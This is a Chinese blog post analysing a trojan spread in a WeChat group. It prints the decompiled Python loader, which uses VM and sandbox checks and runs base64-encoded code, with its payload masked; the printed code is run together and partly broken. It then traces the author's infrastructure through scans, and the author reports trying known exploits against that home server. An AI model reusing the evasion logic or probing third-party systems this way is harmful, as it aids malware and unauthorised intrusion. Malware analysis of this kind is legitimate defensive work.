记一次“微信交流群“内免杀木马分析以及溯源

关注本公众号,长期推送技术文章

记一次“微信交流群“内免杀木马分析以及溯源_第1张图片

知攻善防实验室

红蓝对抗,Web渗透测试,红队攻击,蓝队防守,内网渗透,漏洞分析,漏洞原理,开源 工具,社工钓鱼,网络安全。

73篇原创内容

公众号

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

反编译得到源码

拿到文件

图片

得到这么个exe文件

图片

直接拖到PEiD进行分析

记一次“微信交流群“内免杀木马分析以及溯源_第2张图片

.text,说明没经过加壳,先看一波Winhex

记一次“微信交流群“内免杀木马分析以及溯源_第3张图片

这个是pyinstaller打包的python脚本,到这一切都明了了,我们直接反编译出源码即可。

这里我们使用pyinstxtractor进行反编译

Github地址:

https://github.com/extremecoders-re/pyinstxtractor

python pyinstxtractor.py 试用版2.exe

记一次“微信交流群“内免杀木马分析以及溯源_第4张图片

得到pyc文件

记一次“微信交流群“内免杀木马分析以及溯源_第5张图片

右键11.pyc,使用notepad++打开

记一次“微信交流群“内免杀木马分析以及溯源_第6张图片

发现乱码

记一次“微信交流群“内免杀木马分析以及溯源_第7张图片

更改为UTF-8编码

记一次“微信交流群“内免杀木马分析以及溯源_第8张图片

好了,直接就可以看到源代码

记一次“微信交流群“内免杀木马分析以及溯源_第9张图片

我们copy出来进行分析

代码分析

得到代码:

  • dimport ctypesimport timeimport requestsimport base64import osimport sysimport tkMessageBoximport Tkinter as tkimport tkMessageBoximport osimport platformimport psutilimport subprocess import _winreg as winreg def get_mac_address(): mac = uuid.UUID(int=uuid.getnode()).hex[-12:] return ":".join([mac[i:i+2] for i in range(0, 12, 2)]) def main(): mac_address = get_mac_address() if mac_address.startswith("52:54"): tkMessageBox.showinfo("提示", "本机MAC有误,请更换机器") time.sleep(5) sys.exit() else: url = "http://www.baidu.com" try: response = requests.get(url) if response.status_code == 200: string = '''手动马赛克''' exec (base64.b64decode(string)) if os.path.exists("1.txt"): # 获取桌面路径 desktop_path = os.path.join(os.path.expanduser("~"), "Desktop") # 获取桌面图标、快捷方式和文件数量 desktop_files = os.listdir(desktop_path) icon_count = sum(1 for file in desktop_files if file.endswith(".ico")) shortcut_count = sum(1 for file in desktop_files if file.endswith(".lnk")) file_count = len(desktop_files) - icon_count - shortcut_count if icon_count + shortcut_count + file_count > 6: exec (base64.b64decode(wb.text)) else: # 弹出对话框 tkMessageBox.showinfo("警告", "请不要在虚拟机内运行") else: # 弹出对话框 current_user = os.getenv('USERNAME') # 获取当前电脑名称 computer_name = platform.node() # 获取网络连接名称 network_connections = [] for conn in psutil.net_if_addrs(): network_connections.append(conn) # 获取缓存大小 cache_size = psutil.swap_memory().used # 获取当前路径 current_path = os.getcwd() # 获取内存大小 memory_size = psutil.virtual_memory().total # 获取当前系统语言 system_language = os.getenv('LANG') # 获取当前系统安装的软件 installed_software = [] with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall") as key: for i in range(winreg.QueryInfoKey(key)[0]): try: subkey_name = winreg.EnumKey(key, i) with winreg.OpenKey(key, subkey_name) as subkey: installed_software.append(winreg.QueryValueEx(subkey, "DisplayName")[0]) except WindowsError: pass # 获取所有浏览器内的历史记录条数,收藏记录、缓存记录个数 browser_history_count = 0 browser_bookmark_count = 0 browser_cache_count = 0 # 这里需要根据具体浏览器类型获取历史记录条数,收藏记录、缓存记录个数 # 获取当前所有进程名称 process_names = [p.name() for p in psutil.process_iter()] # 创建tk弹窗展示信息 root = tk.Tk() root.title("System Information") info_str = u""" 当前用户:%s 计算机名称:%s 网络连接:%s 缓存大小:%s 当前路径:%s 内存大小:%s 系统语言:%s 已安装软件:%s 浏览器历史记录数量:%s 浏览器收藏夹数量:%s 浏览器缓存数量:%s 进程名称:%s """ % ( current_user, computer_name, network_connections, cache_size, current_path, memory_size, system_language, installed_software, browser_history_count, browser_bookmark_count, browser_cache_count, process_names) tkMessageBox.showinfo("系统信息", info_str) root.mainloop() else: tkMessageBox.showinfo("提示", "请联系管理员重新获取软件") except requests.exceptions.RequestException as e: tkMessageBox.showinfo("提示", "服务器被攻击,无法连接服务器,请过段时间再试一次") if __name__ == "__main__": main()

这段代码是一个Python脚本,主要用于获取一些系统信息并在Tkinter窗口中展示。以下是代码的主要功能和逻辑:

导入模块:

uuid: 用于生成唯一标识符(UUID)。

ctypes: 用于调用动态链接库。

time: 用于时间相关的操作。

requests: 用于发送HTTP请求。

base64: 用于base64编解码。

os, sys: 用于操作系统相关的功能。

tkinter: 用于创建GUI窗口。

platform: 用于获取系统平台信息。

psutil: 用于获取系统信息。

函数定义:

get_mac_address(): 获取本机的MAC地址。

main(): 主函数,执行主要逻辑。

主函数逻辑:

获取本机的MAC地址,如果以"52:54"开头,则弹出提示窗口,5秒后退出程序。

如果MAC地址没有问题,尝试向百度发送HTTP请求,如果请求成功(状态码为200),则执行一段经过base64解码的字符串的代码。

如果存在文件 "1.txt",则获取桌面上的图标、快捷方式和文件数量,如果超过6个,则执行另一段经过base64解码的字符串的代码。

如果不存在 "1.txt" 文件,则获取一系列系统信息,包括当前用户、计算机名称、网络连接、缓存大小、当前路径、内存大小、系统语言、已安装软件、浏览器历史记录等。

创建一个Tkinter窗口,展示获取到的系统信息。

异常处理:

处理HTTP请求时的异常,如果无法连接服务器,则弹出提示窗口。

执行主函数:

如果脚本作为独立程序执行,则调用 main() 函数。

溯源

上面里面有一个经过base64编码后的字符串,我们进行解码

又得到好东西

记一次“微信交流群“内免杀木马分析以及溯源_第10张图片

PS:交流群内的微信机器人,文末可获取群链接

 然后怼着这个域名进行梭哈

得到域名信息,以及曾用IP地址

记一次“微信交流群“内免杀木马分析以及溯源_第11张图片

经过多次IP地址查询,发现IP地址总是出现在同一省份,并且切换的很频繁,猜测使用了DDNS技术(动态域名服务)

使用钟馗之眼进行信息收集

记一次“微信交流群“内免杀木马分析以及溯源_第12张图片

同时匹配IP和域名

ZoomEye语法:ip:"IP地址" site:"域名"

进行全端口扫描

记一次“微信交流群“内免杀木马分析以及溯源_第13张图片

将得到的数据防御同一txt内

记一次“微信交流群“内免杀木马分析以及溯源_第14张图片

记一次“微信交流群“内免杀木马分析以及溯源_第15张图片

这里推荐TangGo的指纹识别模块,是真的爽!

0openWrt+群晖NAS+DDNS,一眼鉴定为家用服务器

试了几个nday之后,发现并无什么漏洞

文章内用到的工具,已集成在蓝队工具箱内

你可能感兴趣的:(web安全,安全威胁分析,网络安全,安全架构,安全)